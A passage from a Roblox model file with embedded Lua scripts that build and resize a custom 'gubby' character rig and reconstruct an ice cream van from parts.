    w.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0)
           * CFrame.new(FakeTorsoOffset)
end

-- helper: weld a part at a given offset
local function weldPart(name, size, meshType, meshId, meshScale, offset)
    local p = Instance.new(&quot;Part&quot;)
    p.Name       = name
    p.formFactor = Enum.FormFactor.Symmetric
    p.Size       = size
    p.Parent     = char
    p.CanCollide = false

    local m = Instance.new(&quot;SpecialMesh&quot;)
    m.MeshType = meshType
    if meshId    then m.MeshId   = meshId    end
    if meshScale then m.Scale    = meshScale end
    m.Parent   = p

    local w = Instance.new(&quot;Weld&quot;)
    w.Parent  = torso
    w.Part0   = torso
    w.Part1   = p
    w.C1      = CFrame.new(offset)
end

-- 4) TAIL &amp; BUNS
weldPart(&quot;Tail&quot;, TailSize, &quot;FileMesh&quot;,
         &quot;https://www.roblox.com/asset/?id=5560742556&quot;,
         Vector3.new(0.348079145,0.348079205,0.348079205),
         TailOffset)

weldPart(&quot;BunsL&quot;, BunsSize, &quot;Head&quot;, nil, nil, BunsLOffset)
weldPart(&quot;BunsR&quot;, BunsSize, &quot;Head&quot;, nil, nil, BunsROffset)
char.BunsL.Mesh.Scale = Vector3.new(0.83,  0.847, 0.85)
char.BunsR.Mesh.Scale = Vector3.new(0.83,  0.847, 0.85)

-- 5) REAL LIMBS - FIXED: Use Motor joints (2010-style) instead of Motor6D
-- First, remove all existing joints
for _, child in pairs(torso:GetChildren()) do
    if child:IsA(&quot;Motor6D&quot;) or child:IsA(&quot;Motor&quot;) or child:IsA(&quot;Snap&quot;) then
        child:Remove()
    end
end

-- Set limb properties and create Motor joints
for _, info in ipairs({
    { name = &quot;Left Arm&quot;,  offs = LeftArmOffset,  rot = LeftArmRotation, motor_name = &quot;Left Shoulder&quot; },
    { name = &quot;Right Arm&quot;, offs = RightArmOffset, rot = RightArmRotation, motor_name = &quot;Right Shoulder&quot; },
    { name = &quot;Left Leg&quot;,  offs = LeftLegOffset,  rot = LeftLegRotation, motor_name = &quot;Left Hip&quot; },
    { name = &quot;Right Leg&quot;, offs = RightLegOffset, rot = RightLegRotation, motor_name = &quot;Right Hip&quot; },
}) do
    local limb = char:findFirstChild(info.name)
    if limb then
        -- Set limb properties
        limb.formFactor = Enum.FormFactor.Symmetric
        limb.Size       = LimbSize

        local mesh = Instance.new(&quot;SpecialMesh&quot;)
        mesh.MeshType = &quot;Head&quot;
        mesh.Parent   = limb
&#9;mesh.Scale = Vector3.new(0.29,  0.93,  0.30)
        -- Create Motor joint (2010-style) with proper configuration
        local motor = Instance.new(&quot;Motor&quot;)
        motor.Name = info.motor_name
        motor.Parent = torso
        motor.Part0 = torso
        motor.Part1 = limb
        motor.MaxVelocity = 0.1  -- CRITICAL: This is needed for 2010 animations
        
        -- Calculate rotation CFrame
        local rotationCFrame = CFrame.fromEulerAnglesXYZ(
            math.rad(info.rot.X), 
            math.rad(info.rot.Y), 
            math.rad(info.rot.Z)
        )
        
        -- Set C0 and C1 (following resize script pattern)
        motor.C0 = CFrame.new(info.offs) * rotationCFrame
        motor.C1 = CFrame.new(0, 0, 0)
        
        -- Position the limb correctly
        limb.CFrame = torso.CFrame * motor.C0 * motor.C1:inverse()
    end
end

-- Create Neck joint for head (using Snap like in resize script)
local head = char:findFirstChild(&quot;Head&quot;)
if head then
    -- Remove existing neck joints
    for _, child in pairs(torso:GetChildren()) do
        if child.Name == &quot;Neck&quot; then
            child:Remove()
        end
    end
    
    local neck = Instance.new(&quot;Snap&quot;)
    neck.Name = &quot;Neck&quot;
    neck.Part0 = torso
    neck.Part1 = head
    neck.Parent = torso
    neck.C0 = CFrame.new(HeadOffset)
end

-- 6) HumanoidRootPart (only if present, no break in 2010)
local root = char:findFirstChild(&quot;HumanoidRootPart&quot;)
if root then
    root.Transparency = 1
    local w = Instance.new(&quot;Weld&quot;)
    w.Parent = torso
    w.Part0  = torso
    w.Part1  = root
    w.C1     = CFrame.new(RootOffset)
end

for i, v in ipairs(char:children()) do
&#9;if v:isA(&quot;Part&quot;) and v.Name == &quot;Head&quot; then
&#9;&#9;v.BrickColor = BrickColor.new(1)
&#9;&#9;for i, headchild in ipairs(v:children()) do
&#9;&#9;&#9;if headchild.Name == &quot;Decal&quot; or headchild.Name == &quot;face&quot; then
&#9;&#9;&#9;&#9;headchild.Texture = &quot;http://www.roblox.com/asset/?id=7132019&quot;
&#9;&#9;&#9;end
&#9;&#9;end
&#9;elseif v:isA(&quot;Part&quot;) and v.Name ~= &quot;Head&quot; then 
&#9;&#9;v.BrickColor = BrickColor.new(1)
&#9;elseif v:isA(&quot;Hat&quot;) then
&#9;&#9;v:findFirstChild(&quot;Handle&quot;).Transparency = 1
&#9;elseif v:isA(&quot;Shirt&quot;) or v:isA(&quot;Pants&quot;) then
&#9;v.Parent = v.Parent.Torso
&#9;end
end

-- 7) Restart animation script for proper 2010 animation
if char:findFirstChild(&quot;Animate&quot;) then
    char.Animate.Disabled = false
    wait(0.1)
    char.Animate.Disabled = true
    wait(0.3)
    char.Animate.Disabled = false
end

for _, joint in ipairs(torso:GetChildren()) do --offset&apos;s torso so gubby isn&apos;t levitating
&#9;if joint:IsA(&quot;Weld&quot;) or joint:IsA(&quot;Motor&quot;) or joint:IsA(&quot;Snap&quot;) then
&#9;&#9;joint.C0 = CFrame.new(TorsoOffset) * joint.C0
&#9;&#9;end
&#9;end

-- 8) Marker so it only runs once
local marker = Instance.new(&quot;StringValue&quot;)
marker.Name   = &quot;IsGubby&quot;
marker.Value  = &quot;Epic&quot;
marker.Parent = char</ProtectedString>
				</Properties>
				<Item class="CylinderMesh" referent="RBX73">
					<Properties>
						<float name="Bevel">0.200000003</float>
						<float name="Bevel Roundness">0</float>
						<float name="Bulge">0.5</float>
						<token name="LODX">1</token>
						<token name="LODY">2</token>
						<string name="Name">roundhead</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0.100000001</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>0.810000002</Y>
							<Z>1.10000002</Z>
						</Vector3>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX74">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">gubbyresize</string>
					<ProtectedString name="Source">-- #############################################################
-- 2012-style gubby character scaler &#150; resizes existing gubby
-- #############################################################
--  &#149; Works every time you re-run it: gubby parts scale properly
--  &#149; Keeps classic lower-case 2012 API  (:children(), :isA(), :connect, :remove, :findFirstChild)
--  &#149; Enhanced with configurable leg platform controls
-- #############################################################

----------------------------------------------------------------
-- LEG PLATFORM MODIFIERS (adjust these as needed)
----------------------------------------------------------------
local PLATFORM_SIZE_MODIFIER = 1.0      -- multiplier for platform size (1.0 = default)
local PLATFORM_Y_OFFSET = 2           -- additional Y offset in studs (+ = higher, - = lower)
local PLATFORM_ROTATION_X = 0          -- rotation in radians around X axis
local PLATFORM_ROTATION_Y = 80         -- rotation in radians around Y axis  
local PLATFORM_ROTATION_Z = 0          -- rotation in radians around Z axis

----------------------------------------------------------------
-- 0)  objects &amp; last-modifier tracker
----------------------------------------------------------------
local char = script.Parent
local mod  = script.modifier.Value                  -- new size you want

-- remember the previous size so we only scale **by the ratio**
local lastModObj = char:findFirstChild(&quot;_LastModifier&quot;)
if not lastModObj then
&#9;lastModObj           = Instance.new(&quot;NumberValue&quot;)
&#9;lastModObj.Name      = &quot;_LastModifier&quot;
&#9;lastModObj.Value     = 1                       -- avatar starts un-scaled
&#9;lastModObj.Parent    = char
end
local lastMod     = lastModObj.Value              -- what the rig is right now
local scaleFactor = mod / lastMod                 --  &gt;1 grow, &lt;1 shrink

----------------------------------------------------------------
-- constants / helpers
----------------------------------------------------------------
local V3   = Vector3.new
local R90  = CFrame.fromEulerAnglesXYZ(0,  math.pi/2, 0)
local Rm90 = CFrame.fromEulerAnglesXYZ(0, -math.pi/2, 0)

-- gubby part base sizes (from original gubby script)
local GUBBY_BASE = {
&#9;Head          = V3(2,1,1),
&#9;Torso         = V3(2,2,1),
&#9;[&quot;Left Arm&quot;]  = V3(0.29,  0.93,  0.30),
&#9;[&quot;Right Arm&quot;] = V3(0.29,  0.93,  0.30),
&#9;[&quot;Left Leg&quot;]  = V3(0.29,  0.93,  0.30),
&#9;[&quot;Right Leg&quot;] = V3(0.29,  0.93,  0.30),
&#9;FakeTorso     = V3(2.4049108, 0.917663276, 1.61382174),
&#9;EarR          = V3(0.207475901, 0.514878333, 0.772317469),
&#9;EarL          = V3(0.207475901, 0.514878333, 0.772317469),
&#9;Tail          = V3(0.696, 0.348, 0.348),
&#9;BunsL         = V3(0.83,  0.847, 0.85),
&#9;BunsR         = V3(0.83,  0.847, 0.85),
}

-- gubby part base offsets (from original gubby script)
local GUBBY_OFFSETS = {
&#9;Head          = V3( 0,     0.72,  -0.79),
&#9;EarR          = V3(-0.23, -1.48,   0.54),
&#9;EarL          = V3( 0.23, -1.48,   0.54),
&#9;FakeTorso     = V3( 0,     0,      0),
&#9;Tail          = V3( 0,    -0.54,  -1.04),
&#9;BunsL         = V3( 0.41, -0.03,  -0.57),
&#9;BunsR         = V3(-0.43, -0.01,  -0.57),
&#9;[&quot;Left Arm&quot;]  = V3( 0.46, -0.59,   0.61),
&#9;[&quot;Right Arm&quot;] = V3(-0.46, -0.59,   0.60),
&#9;[&quot;Left Leg&quot;]  = V3( 0.46, -0.59,  -0.61),
&#9;[&quot;Right Leg&quot;] = V3(-0.46, -0.59,  -0.61),
}

-- gubby part rotations in radians
local GUBBY_ROTATIONS = {
&#9;[&quot;Left Arm&quot;]  = V3(0, math.pi/2, 0),
&#9;[&quot;Right Arm&quot;] = V3(0, math.pi/2, 0),
&#9;[&quot;Left Leg&quot;]  = V3(0, math.pi/2, 0),
&#9;[&quot;Right Leg&quot;] = V3(0, math.pi/2, 0),
}

local function hGap(sx) return math.max(sx*0.001, 0.002) end
local function vGap(sy) return math.max(sy*0.001, 0.002) end

----------------------------------------------------------------
-- 1) anchor pose for gubby (absolute values - no cumulative error)
----------------------------------------------------------------
local function anchorPoseGubby(c)
&#9;local torso = c:findFirstChild(&quot;Torso&quot;); if not torso then return end
&#9;
&#9;-- Scale and position torso
&#9;torso.Size = GUBBY_BASE.Torso * mod
&#9;torso.Anchored = true
&#9;
&#9;-- Auto floor lift based on leg size
&#9;local legSize = GUBBY_BASE[&quot;Left Leg&quot;] * mod
&#9;local lift = (GUBBY_BASE.Torso.Y/2 + legSize.Y) * (mod-1)
&#9;torso.CFrame = torso.CFrame * CFrame.new(0, lift, 0)
&#9;
&#9;-- Scale and position all gubby parts
&#9;for partName, baseSize in pairs(GUBBY_BASE) do
&#9;&#9;local part = c:findFirstChild(partName)
&#9;&#9;if part and partName ~= &quot;Torso&quot; then
&#9;&#9;&#9;part.Anchored = true
&#9;&#9;&#9;if partName ~= &quot;EarL&quot; and partName ~= &quot;EarR&quot; and partName ~= &quot;Head&quot; then --  and partName ~= &quot;Left Leg&quot; and partName ~= &quot;Right Leg&quot; and partName ~= &quot;Left Arm&quot;  and partName ~= &quot;Right Arm&quot;
&#9;&#9;&#9;part.Size = baseSize * mod
&#9;&#9;&#9;end

&#9;&#9;&#9;if partName == &quot;Left Leg&quot; or partName == &quot;Right Leg&quot; or partName == &quot;Left Arm&quot;  or partName == &quot;Right Arm&quot; then
&#9;&#9;&#9;part.Size = Vector3.new(1,1,1) * mod
&#9;&#9;&#9;elseif partName == &quot;Head&quot; then
&#9;&#9;&#9;&#9;if part.Mesh:isA(&quot;CylinderMesh&quot;) then
&#9;&#9;&#9;&#9;&#9;part.Mesh.Scale = Vector3.new(1*mod, mod-0.19, 1.1*mod)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;part.Mesh.Scale = Vector3.new(0.798061311, 0.671487033, 0.798061311) * mod
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;-- Get offset and apply scaling
&#9;&#9;&#9;local offset = GUBBY_OFFSETS[partName]
&#9;&#9;&#9;if offset then
&#9;&#9;&#9;&#9;local scaledOffset = offset * mod
&#9;&#9;&#9;&#9;local rotationCFrame = CFrame.new()
&#9;&#9;&#9;&#9;
&#9;&#9;&#9;&#9;-- Apply rotation if it exists
&#9;&#9;&#9;&#9;if GUBBY_ROTATIONS[partName] then
&#9;&#9;&#9;&#9;&#9;local rot = GUBBY_ROTATIONS[partName]
&#9;&#9;&#9;&#9;&#9;rotationCFrame = CFrame.fromEulerAnglesXYZ(rot.X, rot.Y, rot.Z)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;
&#9;&#9;&#9;&#9;part.CFrame = torso.CFrame * CFrame.new(scaledOffset) * rotationCFrame
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;
&#9;-- Explicitly handle FakeTorso and Tail sizing (in case they weren&apos;t caught above)
&#9;local fakeTorso = c:findFirstChild(&quot;FakeTorso&quot;)
&#9;if fakeTorso then
&#9;&#9;fakeTorso.Anchored = true
&#9;&#9;fakeTorso.Size = GUBBY_BASE.FakeTorso * mod
&#9;&#9;fakeTorso.CFrame = torso.CFrame * CFrame.new(GUBBY_OFFSETS.FakeTorso * mod)
&#9;end
&#9;
&#9;local tail = c:findFirstChild(&quot;Tail&quot;)
&#9;if tail then
&#9;&#9;tail.Anchored = true
&#9;&#9;tail.Size = GUBBY_BASE.Tail * mod
&#9;&#9;tail.CFrame = torso.CFrame * CFrame.new(GUBBY_OFFSETS.Tail * mod)
&#9;end
&#9;
&#9;-- Scale meshes for special parts
&#9;local head = c:findFirstChild(&quot;Head&quot;)
&#9;if head then
&#9;&#9;local headMesh = head:findFirstChild(&quot;Mesh&quot;)
&#9;&#9;if headMesh then
&#9;&#9;&#9;--headMesh.Scale = V3(0.798061311, 0.671487033, 0.798061311) * mod
&#9;&#9;end
&#9;end

&#9;local lleg = c:findFirstChild(&quot;Left Leg&quot;)
&#9;if lleg then
&#9;&#9;local llegmesh = lleg:findFirstChild(&quot;Mesh&quot;)
&#9;&#9;if llegmesh and mod &gt;= 1 then
&#9;&#9;&#9;llegmesh.Scale = V3(0.29, 0.93, 0.3)
&#9;&#9;else
&#9;&#9;&#9;llegmesh.Scale = V3(0.29, 0.93, 0.3) * mod
&#9;&#9;end
&#9;end

&#9;&#9;local rleg = c:findFirstChild(&quot;Right Leg&quot;)
&#9;if rleg then
&#9;&#9;local rlegmesh = rleg:findFirstChild(&quot;Mesh&quot;)
&#9;&#9;if rlegmesh and mod &gt;= 1 then
&#9;&#9;&#9;rlegmesh.Scale = V3(0.29, 0.93, 0.3)
&#9;&#9;else
&#9;&#9;&#9;rlegmesh.Scale = V3(0.29, 0.93, 0.3) * mod
&#9;&#9;end
&#9;end
&#9;
&#9;&#9;local larm = c:findFirstChild(&quot;Left Arm&quot;)
&#9;if larm then
&#9;&#9;local larmmesh = larm:findFirstChild(&quot;Mesh&quot;)
&#9;&#9;if larmmesh and mod &gt;= 1 then
&#9;&#9;&#9;larmmesh.Scale = V3(0.29, 0.93, 0.3)
&#9;&#9;else
&#9;&#9;&#9;larmmesh.Scale = V3(0.29, 0.93, 0.3) * mod
&#9;&#9;end
&#9;end

&#9;&#9;local rarm = c:findFirstChild(&quot;Right Arm&quot;)
&#9;if rarm then
&#9;&#9;local rarmmesh = rarm:findFirstChild(&quot;Mesh&quot;)
&#9;&#9;if rarmmesh and mod &gt;= 1 then
&#9;&#9;&#9;rarmmesh.Scale = V3(0.29, 0.93, 0.3)
&#9;&#9;else
&#9;&#9;&#9;rarmmesh.Scale = V3(0.29, 0.93, 0.3) * mod
&#9;&#9;end
&#9;end

&#9;local lbuns = c:findFirstChild(&quot;BunsL&quot;)
&#9;if lbuns then
&#9;&#9;local lbunsmesh = lbuns:findFirstChild(&quot;Mesh&quot;)
&#9;&#9;if lbunsmesh and mod &gt;= 1 then
&#9;&#9;&#9;lbunsmesh.Scale = V3(0.83,  0.847, 0.85)
&#9;&#9;else
&#9;&#9;&#9;lbunsmesh.Scale = V3(0.83,  0.847, 0.85) * mod
&#9;&#9;end
&#9;end

&#9;local rbuns = c:findFirstChild(&quot;BunsR&quot;)
&#9;if rbuns then
&#9;&#9;local rbunsmesh = rbuns:findFirstChild(&quot;Mesh&quot;)
&#9;&#9;if rbunsmesh and mod &gt;= 1 then
&#9;&#9;&#9;rbunsmesh.Scale = V3(0.83,  0.847, 0.85)
&#9;&#9;else
&#9;&#9;&#9;rbunsmesh.Scale = V3(0.83,  0.847, 0.85) * mod
&#9;&#9;end
&#9;end
 -----------
&#9;local fakeTorso = c:findFirstChild(&quot;FakeTorso&quot;)
&#9;if fakeTorso then
&#9;&#9;local ftMesh = fakeTorso:findFirstChild(&quot;SpecialMesh&quot;) or fakeTorso:findFirstChild(&quot;Mesh&quot;)
&#9;&#9;if ftMesh then
&#9;&#9;&#9;ftMesh.Scale = V3(1.2024554, 0.917663276, 1.61382174) * mod
&#9;&#9;end
&#9;end
&#9;
&#9;local tail = c:findFirstChild(&quot;Tail&quot;)
&#9;if tail then
&#9;&#9;local tailMesh = tail:findFirstChild(&quot;SpecialMesh&quot;) or tail:findFirstChild(&quot;Mesh&quot;)
&#9;&#9;if tailMesh then
&#9;&#9;&#9;tailMesh.Scale = V3(0.348079145, 0.348079205, 0.348079205) * mod
&#9;&#9;end
&#9;end
&#9;
&#9;local earmeshsize = Vector3.new(0.207, 0.515, 0.772)
&#9;
&#9;-- Also handle ears mesh scaling
&#9;local earR = c:findFirstChild(&quot;EarR&quot;)
&#9;if earR then
&#9;&#9;local earRMesh = earR:findFirstChild(&quot;SpecialMesh&quot;) or earR:findFirstChild(&quot;Mesh&quot;)
&#9;&#9;if earRMesh then
&#9;&#9;&#9;earRMesh.Scale = earmeshsize * mod
&#9;&#9;end
&#9;end
&#9;
&#9;local earL = c:findFirstChild(&quot;EarL&quot;)
&#9;if earL then
&#9;&#9;local earLMesh = earL:findFirstChild(&quot;SpecialMesh&quot;) or earL:findFirstChild(&quot;Mesh&quot;)
&#9;&#9;if earLMesh then
&#9;&#9;&#9;earLMesh.Scale = (earmeshsize * mod)
&#9;&#9;end
&#9;end
end

----------------------------------------------------------------
-- 2) rebuild gubby joints
----------------------------------------------------------------
local function jointsGubby(c)
&#9;local torso = c:findFirstChild(&quot;Torso&quot;); if not torso then return end
&#9;
&#9;-- Remove existing joints
&#9;for _,v in ipairs(torso:children()) do
&#9;&#9;if v:isA(&quot;Motor&quot;) or v:isA(&quot;Snap&quot;) or v:isA(&quot;Weld&quot;) then v:remove() end
&#9;end
&#9;
&#9;-- Recreate Motor joints for limbs (2012 style)
&#9;local limbData = {
&#9;&#9;{name = &quot;Left Arm&quot;,  motor_name = &quot;Left Shoulder&quot;},
&#9;&#9;{name = &quot;Right Arm&quot;, motor_name = &quot;Right Shoulder&quot;},
&#9;&#9;{name = &quot;Left Leg&quot;,  motor_name = &quot;Left Hip&quot;},
&#9;&#9;{name = &quot;Right Leg&quot;, motor_name = &quot;Right Hip&quot;},
&#9;}
&#9;
&#9;for _, info in ipairs(limbData) do
&#9;&#9;local limb = c:findFirstChild(info.name)
&#9;&#9;if limb then
&#9;&#9;&#9;local motor = Instance.new(&quot;Motor&quot;)
&#9;&#9;&#9;motor.Name = info.motor_name
&#9;&#9;&#9;motor.Parent = torso
&#9;&#9;&#9;motor.Part0 = torso
&#9;&#9;&#9;motor.Part1 = limb
&#9;&#9;&#9;motor.MaxVelocity = 0.1
&#9;&#9;&#9;
&#9;&#9;&#9;-- Get scaled offset and rotation
&#9;&#9;&#9;local offset = GUBBY_OFFSETS[info.name] * mod
&#9;&#9;&#9;local rotation = GUBBY_ROTATIONS[info.name] or V3(0,0,0)
&#9;&#9;&#9;local rotationCFrame = CFrame.fromEulerAnglesXYZ(rotation.X, rotation.Y, rotation.Z)
&#9;&#9;&#9;
&#9;&#9;&#9;motor.C0 = CFrame.new(offset) * rotationCFrame
&#9;&#9;&#9;motor.C1 = CFrame.new(0, 0, 0)
&#9;&#9;&#9;
&#9;&#9;&#9;-- Position the limb correctly
&#9;&#9;&#9;limb.CFrame = torso.CFrame * motor.C0 * motor.C1:inverse()
&#9;&#9;end
&#9;end
&#9;
&#9;-- Recreate head joint
&#9;local head = c:findFirstChild(&quot;Head&quot;)
&#9;if head then
&#9;&#9;local neck = Instance.new(&quot;Snap&quot;)
&#9;&#9;neck.Name = &quot;Neck&quot;
&#9;&#9;neck.Part0 = torso
&#9;&#9;neck.Part1 = head
&#9;&#9;neck.Parent = torso
&#9;&#9;neck.C0 = CFrame.new(GUBBY_OFFSETS.Head * mod)
&#9;end
&#9;
&#9;-- Recreate welds for gubby parts
&#9;local weldParts = {&quot;EarR&quot;, &quot;EarL&quot;, &quot;FakeTorso&quot;, &quot;Tail&quot;, &quot;BunsL&quot;, &quot;BunsR&quot;}
&#9;for _, partName in ipairs(weldParts) do
&#9;&#9;local part = c:findFirstChild(partName)
&#9;&#9;if part then
&#9;&#9;&#9;local weld = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;weld.Parent = torso
&#9;&#9;&#9;weld.Part0 = torso
&#9;&#9;&#9;weld.Part1 = part
&#9;&#9;&#9;weld.C1 = CFrame.new(GUBBY_OFFSETS[partName] * mod)
&#9;&#9;end
&#9;end
&#9;
&#9;-- Handle HumanoidRootPart if present
&#9;local root = c:findFirstChild(&quot;HumanoidRootPart&quot;)
&#9;if root then
&#9;&#9;local rootWeld = Instance.new(&quot;Weld&quot;)
&#9;&#9;rootWeld.Parent = torso
&#9;&#9;rootWeld.Part0 = torso
&#9;&#9;rootWeld.Part1 = root
&#9;&#9;rootWeld.C1 = CFrame.new(V3(0, -0.9, 0) * mod) -- RootOffset scaled
&#9;end
&#9;
&#9;-- Apply torso offset to all joints
&#9;local torsoOffset = V3(0, -0.8, 0) * mod -- TorsoOffset scaled
&#9;for _, joint in ipairs(torso:children()) do
&#9;&#9;if joint:isA(&quot;Weld&quot;) or joint:isA(&quot;Motor&quot;) or joint:isA(&quot;Snap&quot;) and joint.Parent ~= &quot;Head&quot; then
&#9;&#9;&#9;joint.C0 = CFrame.new(torsoOffset) * joint.C0
&#9;&#9;end
&#9;end
end

----------------------------------------------------------------
-- 3) enhanced leg platform for gubby with configurable modifiers
----------------------------------------------------------------
local function platformGubby(c)
&#9;local plate = c:findFirstChild(&quot;LegPlatform&quot;)
&#9;if plate then plate:remove() end
&#9;if mod &lt; 3.5 then return end

&#9;local t, lleg = c:findFirstChild(&quot;Torso&quot;), c:findFirstChild(&quot;Left Leg&quot;)
&#9;if not (t and lleg) then return end

&#9;plate = Instance.new(&quot;Part&quot;)
&#9;plate.Name = &quot;LegPlatform&quot;
&#9;
&#9;-- Apply size modifier to platform dimensions
&#9;local baseSize = (mod&gt;100) and V3(t.Size.X,35,t.Size.Z) or V3(t.Size.X,5,t.Size.Z)
&#9;plate.Size = baseSize * PLATFORM_SIZE_MODIFIER
&#9;
&#9;plate.Transparency, plate.CanCollide = 1, true
&#9;plate.Anchored, plate.TopSurface, plate.BottomSurface = false, 0, 0
&#9;plate.Parent = c

&#9;local half = t.Size.Y/2 + lleg.Size.Y
&#9;local yOff = -half + plate.Size.Y/2 + PLATFORM_Y_OFFSET

&#9;-- Create rotation CFrame from the modifier values
&#9;local customRotation = CFrame.fromEulerAnglesXYZ(
&#9;&#9;PLATFORM_ROTATION_X, 
&#9;&#9;PLATFORM_ROTATION_Y, 
&#9;&#9;PLATFORM_ROTATION_Z
&#9;)
&#9;
&#9;-- Apply position and rotation (including the original pi rotation plus custom rotation)
&#9;local originalRotation = CFrame.fromEulerAnglesXYZ(math.pi, 0, 0)
&#9;plate.CFrame = t.CFrame * CFrame.new(0, yOff, 0) * originalRotation * customRotation

&#9;local w = Instance.new(&quot;Weld&quot;)
&#9;w.Name, w.Part0, w.Part1, w.Parent = &quot;LegPlateWeld&quot;, t, plate, t
&#9;w.C0, w.C1 = t.CFrame:inverse()*plate.CFrame, CFrame.new()
end

----------------------------------------------------------------
-- 4) run the pipeline
----------------------------------------------------------------
char:BreakJoints()
anchorPoseGubby(char)
jointsGubby(char)
platformGubby(char)

----------------------------------------------------------------
-- 5) HRP weld so 2012 tools work
----------------------------------------------------------------
local torso, hrp = char:findFirstChild(&quot;Torso&quot;), char:findFirstChild(&quot;HumanoidRootPart&quot;)
if torso and hrp then
&#9;hrp.Size, hrp.CFrame = torso.Size, torso.CFrame
&#9;local rw = Instance.new(&quot;Weld&quot;)
&#9;rw.Name, rw.Part0, rw.Part1, rw.Parent = &quot;RootWeld&quot;, torso, hrp, torso
&#9;rw.C0, rw.C1 = CFrame.new(), CFrame.new()
&#9;char.Humanoid.CameraOffset = V3(0, mod, 0)
end

----------------------------------------------------------------
-- 6) un-anchor parts
----------------------------------------------------------------
for _,p in ipairs(char:children()) do
&#9;if p:isA(&quot;Part&quot;) then p.Anchored = false end
end

----------------------------------------------------------------
-- 7) bounce Animate for old clients
----------------------------------------------------------------
char.Animate.Disabled = false
wait(0.1)
char.Animate.Disabled = true
wait(0.3)
char.Animate.Disabled = false

----------------------------------------------------------------
-- 8) update last-modifier for the **next** resize
----------------------------------------------------------------
lastModObj.Value = mod</ProtectedString>
				</Properties>
				<Item class="NumberValue" referent="RBX75">
					<Properties>
						<string name="Name">modifier</string>
						<double name="Value">0</double>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX76">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">vanspawn</string>
					<ProtectedString name="Source">-- Vehicle Reconstruction (2010-safe, v5) --
----compat check----
local t = Instance.new(&quot;Part&quot;, game.Lighting)
local ok = pcall(function() t.formFactor = Enum.FormFactor.Custom end)
compatibility = ok and t.formFactor == Enum.FormFactor.Custom and Enum.FormFactor.Custom or Enum.FormFactor.Symmetric
t:Remove()


  Vehicle = Instance.new(&apos;Model&apos;, game.Lighting)
  Vehicle.Name = &apos;IcecreamVan&apos;
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,4.533338,0.500000)
  Vehicle_Part.CFrame = CFrame.new(-40.162514,5.334711,176.633942) * CFrame.Angles(-0.000000,-1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,4.533338,0.500000)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,4.533338,0.500000)
  Vehicle_Part.CFrame = CFrame.new(-40.162506,5.334614,182.552292) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,4.533338,0.500000)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.096302,4.603337,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-40.290154,5.304893,176.493149) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot;
  Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.096302,4.603337,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.762965,3.525930)
  Vehicle_Part.CFrame = CFrame.new(-41.927238,3.949455,182.615326) * CFrame.Angles(-0.000000,1.570796,0.000000)
